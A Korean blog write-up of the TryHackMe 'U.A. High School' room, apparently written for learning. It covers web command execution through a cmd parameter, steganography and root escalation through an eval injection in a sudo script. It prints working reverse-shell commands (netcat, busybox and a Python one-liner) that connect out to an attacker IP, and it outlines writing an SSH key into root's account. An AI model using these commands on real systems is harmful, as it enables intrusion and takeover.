[tryhackme] U.A. High School

김기훈·2024년 9월 5일

tryhackme

목록 보기
6/12

Q1. What is the user.txt flag?


이번 문제의 메인페이지이다. 굉장히 정적인 페이지여서 상호작용하는 기능이 없다.

포트는 22번과 80번 포트가 열려있다.
Apache httpd 버전도 특별히 쓸만한 취약점은 없어 보인다.

디렉토리 스캔을 해보니 assets가 있는 것을 확인했다.

images 디렉토리까지 확인했지만 접속해도 403 에러가 발생하고 더 이상 확인할 수 있는 정보가 없었다.
지난 문제처럼 하위도메인이 있는지도 확인해보았다.

없다. 뭘 어떻게 진행해야하나 찾아보다가 내가 사용한 딕셔너리가 문제였다는 것을 알게되었다.
이제까지 kali에 기본적으로 제공하는 파일을 사용했는데 퀄리티가 그렇게 좋지 않은 것 같다.

https://github.com/danielmiessler/SecLists 에서 제공하는 딕셔너리를 설치하고 다시 스캔을 돌려보았다.

이전에는 발견하지 못했던 index.php 파일이 보인다.
하지만 index.php에 접속을 해도 빈 화면만 보이고 소스페이지에도 내용이 아무것도 없다.

gobuster와 같이 디렉토리 버스팅을 수행하는 dirsearch로 index.php를 조사했더니 cmd 파라미터를 통해 명령어가 실행되는 것을 알 수 있다.

gobuster는 똑같은 딕셔너리 파일로 index.php에 대해 버스팅하려고 해도 에러가 난다.
구글링을 해봐도 똑같이 디렉토리 버스팅을 수행하는 도구인데 왜 다른 결과를 보여주는지 모르겠다.

앞으로 문제를 풀 때 두 가지 도구를 다 돌려봐야하나 고민이 된다.

평소 사용하던 gobuster와 dirsearch의 성능 테스트를 해봤는데 dirsearch가 알록달록 보기는 좋지만 같은 딕셔너리 파일을 사용했을 때 gobuster 스캔속도가 훨씬 빨랐다.

페이지에서 명령어 실행이 가능한지 파악하기 위해 별도로 dirsearch를 사용하는 것보다는 수동으로 확인하는게 일단은 좋아보인다.

추후 디렉토리 스캔 후 접근할 수 있는 페이지가 있는지 스캔하기 위해 gobuster -x 옵션을 활용하여 php, jsp, asp, txt 등 확장자를 지정하는게 좋을 것 같다.

어찌됐던 dirsearch에서 확인한 경로로 접근하니 base64로 인코딩된 것 같은 문자열이 출력된다.

역시 base64 인코딩된 문자였고 assets 디렉토리의 파일과 폴더가 보인다.
명령이 잘 실행되는 것을 확인했으니 리버스 쉘을 연결해봤다.

nc 10.8.51.29 -e sh

cmd 파라미터에 위 명령을 입력했지만 아무 반응이 없었다.
Netcat 버전에 따라 shell command를 실행시킬 수 있는 -e 옵션을 지원안하는 경우가 있다.

Debian 계열의 최신 배포판이나 OpenBSD 계열의 netcat에서는 보안상의 이유로 -e 옵션이 기본적으로 비활성화되거나 제거되어있다.

이럴때는 busybox나 python을 통해 리버스쉘을 연결하면 된다.

  • busybox는 여러 유틸리티를 하나의 실행 파일로 모아 놓은 매우 경량화된 툴인데 -e 옵션을 지원하는 netcat을 제공한다.
  • python은 거의 모든 시스템에 설치되어 있기 때문에 매우 유용하다.

일단 busybox나 python이 명령을 쓸 수 있는지 확인해보자

busybox와 python3가 있는 것을 확인했고 아래 명령들로 리버스쉘을 연결할 수 있었다.

busybox nc 10.8.51.29 -e sh
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.51.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

images 폴더에서 jpg 파일들을 발견했는데 그 중 파일 하나의 파일형식이 data로 되어있다.
뭔가 이상하니 다운받아서 확인해보자.

이미지뷰어인 eog(Eye of GNOME)를 통해 열었더니 에러가 발생했다.
에러메시지를 보니 PNG 이미지 파일을 읽는데 실패했다고 한다.

hexedit 명령을 통해 확인해보니 signature가 PNG로 되어있다.

signature를 jpg 형식으로 바꾸니 이미지가 제대로 보이긴 하는데 그냥 애니메이션의 한 장면일 뿐이다.

숨겨진 데이터가 있는지 확인하기 위해 steghide 명령을 사용해봤다.

흠.. 패스워드가 필요하네?

서버를 뒤지다가 Hidden_Content라는 폴더에서 passphrase 텍스트 파일을 발견했다.

스테가노그래피로 숨겼던 데이터를 추출했고 deku의 패스워드를 얻었다.
그렇게 얻은 패스워드로 deku에 접속하여 첫번째 플래그를 제출하면 된다.

Q2. What is the root.txt flag?

먼저, deku 계정에 sudo 권한이 있는지 확인했다.
sudo로 /opt/NewComponent/feedback.sh 스크립트 실행이 가능했다.

#!/bin/bash

echo "Hello, Welcome to the Report Form       "
echo "This is a way to report various problems"
echo "    Developed by                        "
echo "        The Technical Department of U.A."

echo "Enter your feedback:"
read feedback


if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
    echo "It is This:"
    eval "echo $feedback"

    echo "$feedback" >> /var/log/feedback.txt
    echo "Feedback successfully saved."
else
    echo "Invalid input. Please provide a valid input." 
fi

코드를 살펴보면 여러 특수문자를 필터링하고 사용자 입력을 'eval' 명령으로 처리하는 것을 볼 수 있다.

'eval' 은 입력을 명령어로 실행시켜 보안상 매우 문제가 많은 명령어이다.
우리는 이걸 통해 'Command Injecion' 공격을 수행할 수 있다.

특수문자 필터링에 '>' 가 없기 때문에 파일을 생성하거나 수정하여 여러 공격을 수행할 수 있다.

  • ssh키를 생성하여 root폴더에 공유키 주입
  • /etc/passwd에 uid가 0인 사용자를 추가
  • /etc/sudoers에 deku 사용자가 root 권한으로 /bin/bash을 실행할 수 있는 권한 부여 등..

나는 첫번째 방법을 선택했다.

ssh키를 생성하고

feedback 스크립트를 이용해서 root에 공개키를 주입했다.

root 로그인 성공! 이제 root.txt 파일을 찾아 제출하면 미션 클리어 😁

0개의 댓글